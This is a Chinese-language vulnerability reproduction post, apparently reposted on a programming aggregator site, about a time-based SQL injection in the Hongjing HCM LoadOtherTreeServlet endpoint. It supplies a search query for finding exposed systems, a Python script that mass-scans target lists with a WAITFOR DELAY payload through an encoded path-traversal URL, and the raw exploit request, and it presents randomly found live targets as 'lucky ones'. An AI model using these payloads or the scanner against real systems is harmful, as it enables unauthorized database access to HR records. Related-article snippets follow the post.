【漏洞复现】宏景HCM-LoadOtherTreeServlet SQL注入

news2024/9/9 0:33:46

 声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。

一、漏洞描述

宏景HCM人力资源信息管理系统是一个全面的人力资源管理软件,它覆盖了人力资源管理的各个模块。该系统旨在帮助企事业单位建立高效的组织,促进组织的健康发展,并增强组织的软实力。然而,该系统的LoadOtherTreeServlet接口存在安全问题,因为它没有对传入的数据进行预编译和充分的验证,这导致了SQL注入漏洞的存在。

二、资产收集

1.使用网络空间测绘引擎搜索

鹰图检索:app.name="宏景 HCM"

2.使用poc批量扫描

import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarning

RED = '\033[91m'  # 定义红色字体的ANSI转义码
RESET = '\033[0m'  # 定义重置颜色的ANSI转义码
# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_vulnerability(url):
    try:
        # 构造完整的攻击URL
        attack_url = url.rstrip('/') + "/w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1"
        attack_payload = """usertable=h00&usernumber=1&i9999=-1';WAITFOR+DELAY+'0:0:6'--+"""

        headers = {
            'Content-Type': 'application/x-www-form-urlencoded'
        }

        start_time = time.time()  # 记录开始时间
        response = requests.post(attack_url, headers=headers, data=attack_payload, verify=False, timeout=10)  # 发送POST请求
        elapsed_time = time.time() - start_time  # 计算请求耗时

        if 4 < elapsed_time < 6:  # 如果耗时在4到6秒之间,可能存在漏洞
            print(f"{RED}URL [{url}] 可能存在宏景HCM-LoadOtherTreeServlet-sql注入漏洞{RESET}")
        else:
            print(f"URL [{url}] 不存在漏洞")
    except requests.exceptions.Timeout:  # 捕获超时异常
        print(f"URL [{url}] 请求超时,可能存在漏洞")
    except requests.RequestException as e:  # 捕获其他请求异常
        print(f"URL [{url}] 请求失败: {e}")

def main():
    parser = argparse.ArgumentParser(description='检测目标地址是否宏景HCM-LoadOtherTreeServlet-sql注入漏洞')
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

    args = parser.parse_args()

    if args.url:  # 如果提供了单个URL参数
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        check_vulnerability(args.url)
    elif args.file:  # 如果提供了包含多个URL的文件参数
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url
                check_vulnerability(url)

if __name__ == '__main__':
    main()

cmd运行:python poc.py -f url.txt

 随机寻找的幸运儿

三、漏洞复现 

1.构造数据包


GET /w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1 HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close

2.数据包分析 

  1. 请求方法:GET
  2. 请求路径:/w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1
  3. HTTP版本:HTTP/1.1
  4. Host头:ip(目标服务器的IP地址)
  5. User-Agent头:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0(表示客户端使用的浏览器和操作系统信息)
  6. Accept头:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8(表示客户端接受的内容类型及其优先级)
  7. Accept-Language头:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2(表示客户端接受的语言及其优先级)
  8. Accept-Encoding头:gzip, deflate, br(表示客户端接受的编码方式)
  9. Connection头:close(表示请求完成后关闭连接)

/w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet,在解码后,URL路径变为:/w_selfservice/oauthservlet/././gz/LoadOtherTreeServlet

请求还包含以下参数:

  • modelflag=4:可能是用于指定某种模式或配置的标志。
  • budget_id=1)WAITFOR+DELAY+'0:0:4'--&flag=1:其中budget_id的值被设置为1,后面跟着一段SQL语句(WAITFOR DELAY '0:0:4'),如果SQL语句被正常执行则延时4秒

3.结束跑路

执行成功,延时1秒。

执行成功,延时4秒。

每篇一言:风月折断杨柳枝,琴瑟朝露挥掷成诗。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1917177.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

龙蜥Anolis OS基于开源项目制作openssh 9.8p1 rpm包 —— 筑梦之路

环境信息 制作过程和centos 7几乎没有区别&#xff0c;此处就不再赘述。 CentOS 7基于开源项目制作openssh9.8p1 rpm二进制包修复安全漏洞CVE-2024-6387 —— 筑梦之路_cve-2024-6387修复-CSDN博客 制作成果展示 tree RPMS/ RPMS/ └── x86_64├── openssh-9.8p1-1.an7.…

【Python 基础】第一个程序

第一个程序 虽然交互式环境对于一次运行一条 Python 指令很好&#xff0c;但要编写完整的 Python程序&#xff0c;就需要在文件编辑器中输入指令。“文件编辑器”类似于 Notepad 或 TextMate这样的文本编辑器&#xff0c;它有一些针对输入源代码的特殊功能。要在 IDLE 中打开文…

常用知识碎片 Vue3 ref和reactive (内含其他常用知识)

目录 ref和reactive ref reactive 总结&#xff1a; setup语法糖 语法糖是啥&#xff1f; Vue3 setup语法糖 Vue3 不使用setup语法糖示例&#xff1a; Vue3 使用setup语法糖示例&#xff1a; ref和eative主要区别 ref和reactive 在 Vue 3 中&#xff0c;ref 和 reac…

linux radix-tree 基数树实现详解

radix tree&#xff0c;又称做基数树&#xff0c;是一种适合于构建key(index)与value(item)相关联的数据结构。内核中使用非常广泛。本文主要聚焦linux内核基数树的代码实现,大量注释过的代码。 radix-tree组织结构如下: 1、数据结构 /** The bottom two bits of the slot de…

SQL 针对上面的salaries表emp_no字段创建索引idx_emp_no

系列文章目录 文章目录 系列文章目录前言 前言 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站&#xff0c;这篇文章男女通用&#xff0c;看懂了就去分享给你的码吧。 描述 针对salaries…

LabVIEW滤波器性能研究

为了研究滤波器的滤波性能&#xff0c;采用LabVIEW设计了一套滤波器性能研究系统。该系统通过LabVIEW中的波形生成函数&#xff0c;输出幅值及频率可调的正弦波和白噪声两种信号&#xff0c;并将白噪声与正弦波叠加&#xff0c;再通过滤波器输出纯净的正弦波信号。系统通过FFT&…

RFID技术革新养猪业,构建智能化养殖场

RFID技术作为无线射频识别技术的一种&#xff0c;凭借着非接触、高效识别的特性&#xff0c;在养殖业行业中得到了广泛的应用&#xff0c;为构建智能化、高效化的养殖场提供了强大的技术支持&#xff0c;给传统养殖业带来了一场前所未有的技术变革。以下是RFID技术在养猪行业不…

【Oracle】实验三 Oracle数据库的创建和管理

【实验目的】 掌握Oracle数据库的创建方法使用DBCA创建数据库在数据库中装入SCOTT用户及其表 【实验内容】 使用DBCA创建数据库&#xff0c;名为MYDB&#xff0c;找到其初始化文件(文本型和服务器型文件都要找到)&#xff0c;查看各类默认位置并记录下来(包括物理文件所在目…

SpringBoot源码阅读(8)——系统环境创建

SpringBoot创建系统应用上下文是在run方法&#xff0c;第301行。 ConfigurableEnvironment environment prepareEnvironment(listeners, bootstrapContext, applicationArguments);private ConfigurableEnvironment prepareEnvironment(SpringApplicationRunListeners listen…

windows远程桌面到 Linux系统(Ubuntu:22.04)—— 安装xrdp软件

1、在Linux系统上安装xrdp软件 sudo apt update sudo apt install xrdp2、安装完成后&#xff0c;需要开启xrdp服务 sudo systemctl start xrdp sudo systemctl enable xrdp打印返回 Synchronizing state of xrdp.service with SysV service script with /lib/systemd/system…

【VSCode】设置背景图片

1.下载background插件&#xff1a;拓展程序→background→install安装→设置&#xff1a; 2.点击在 settings.json 中编辑&#xff1a; 3.将settings.json文件中所有代码注释&#xff0c;添加以下代码&#xff1a; {// 是否开启背景图显示"background.enabled": t…

【每天认识一个漏洞】sourcemap文件泄露漏洞

&#x1f31d;博客主页&#xff1a;泥菩萨 &#x1f496;专栏&#xff1a;Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具 利用工具 油猴脚本sourcemap-searcher或burp hae插件 F12控制台输入sms()如果存在会有提示&#xff0c;然后打开看能够下载…

数字化时代的供应链管理综合解决方案

目录 引言背景与意义供应链管理综合解决方案的目标 &#x1f4c4;供应链管理系统主要功能系统优势 &#x1f4c4;物流管理系统主要功能系统优势 &#x1f4c4;订单管理系统主要功能应用场景 &#x1f4c4;仓储管理系统系统亮点主要功能系统优势 &#x1f4c4;商城管理系统主要功…

【机器学习】独立成分分析(ICA):解锁信号的隐秘面纱

&#x1f308;个人主页: 鑫宝Code &#x1f525;热门专栏: 闲话杂谈&#xff5c; 炫酷HTML | JavaScript基础 ​&#x1f4ab;个人格言: "如无必要&#xff0c;勿增实体" 文章目录 独立成分分析&#xff08;ICA&#xff09;&#xff1a;解锁信号的隐秘面纱引言I…

LLM——langchain 与阿里 DashScop (通义千问大模型) 和 DashVector(向量数据库) 结合使用总结

文章目录 前言预览直接调用大模型使用 prompt template格式化输出使用上下文 RAG 增强检索 自定义 langchain AgentPromptTemplate 和 ChatPromptTemplate使用少量示例创建ChatPromptTemplate 前言 langchain 是一个面向大模型开发的框架&#xff0c;其中封装了很多核心组件&a…

旷野之间9 - 如何判断是AI编写的文章

一个人写作 人工智能创作的文章、博客、论文甚至书籍在整个互联网上越来越成为问题。 许多人都不确定如何辨别一件作品是由人工智能还是人类创作的。在这篇文章中&#xff0c;我将向您展示如何区分人类和机器人。 深度与原创性 首先要寻找的线索之一是缺乏深度或原创性。人工…

【以史为镜、以史明志,知史爱党、知史爱国】中华上下五千年之-五代十国

五代十国&#xff08;907年-960年&#xff09;是中国历史上的一段大分裂时期&#xff0c;也是对五代与十国的合称。 五代依次为 梁、 唐、 晋、 汉、 周五个朝代&#xff0c;史称 后梁、 后唐、 后晋、 后汉与 后周。 后梁- 五代第一个朝代 朱全忠&#xff08;朱温&#xff09;…

跨境电商必备技能:掌握亚马逊测评自养号技术

亚马逊自养号的环境搭建是一个至关重要的过程&#xff0c;它直接关系到账号的稳定性和安全性。以下是一个详细的搭建方案&#xff1a; 一、底层环境搭建 设备底层硬件参数的伪装阻断&#xff1a; 通过国外服务器在云端搭建一个安全终端&#xff0c;用于阻断平台对设备底层硬…

(CVPR-2022)利用潜在扩散模型进行高分辨率图像合成

利用潜在扩散模型进行高分辨率图像合成 Title:High-Resolution Image Synthesis with Latent Diffusion Models paper是慕尼黑大学和海德堡大学发表在CVPR 22的工作 paper地址 文章目录 利用潜在扩散模型进行高分辨率图像合成Abstract1. Introduction2. Related Work3. Method3…

开关电源——15种控制模式(1)

关于开关电源的控制模式&#xff0c;TI官网的控制模式快速参考指南有相对全面的归纳和描述&#xff0c;提供了15种不同的控制架构&#xff0c;这些架构涵盖了从基础到高级的多种控制模式&#xff0c;以适应不同的应用需求&#xff0c;如下表所示&#xff1a; 以下是对控制模式相…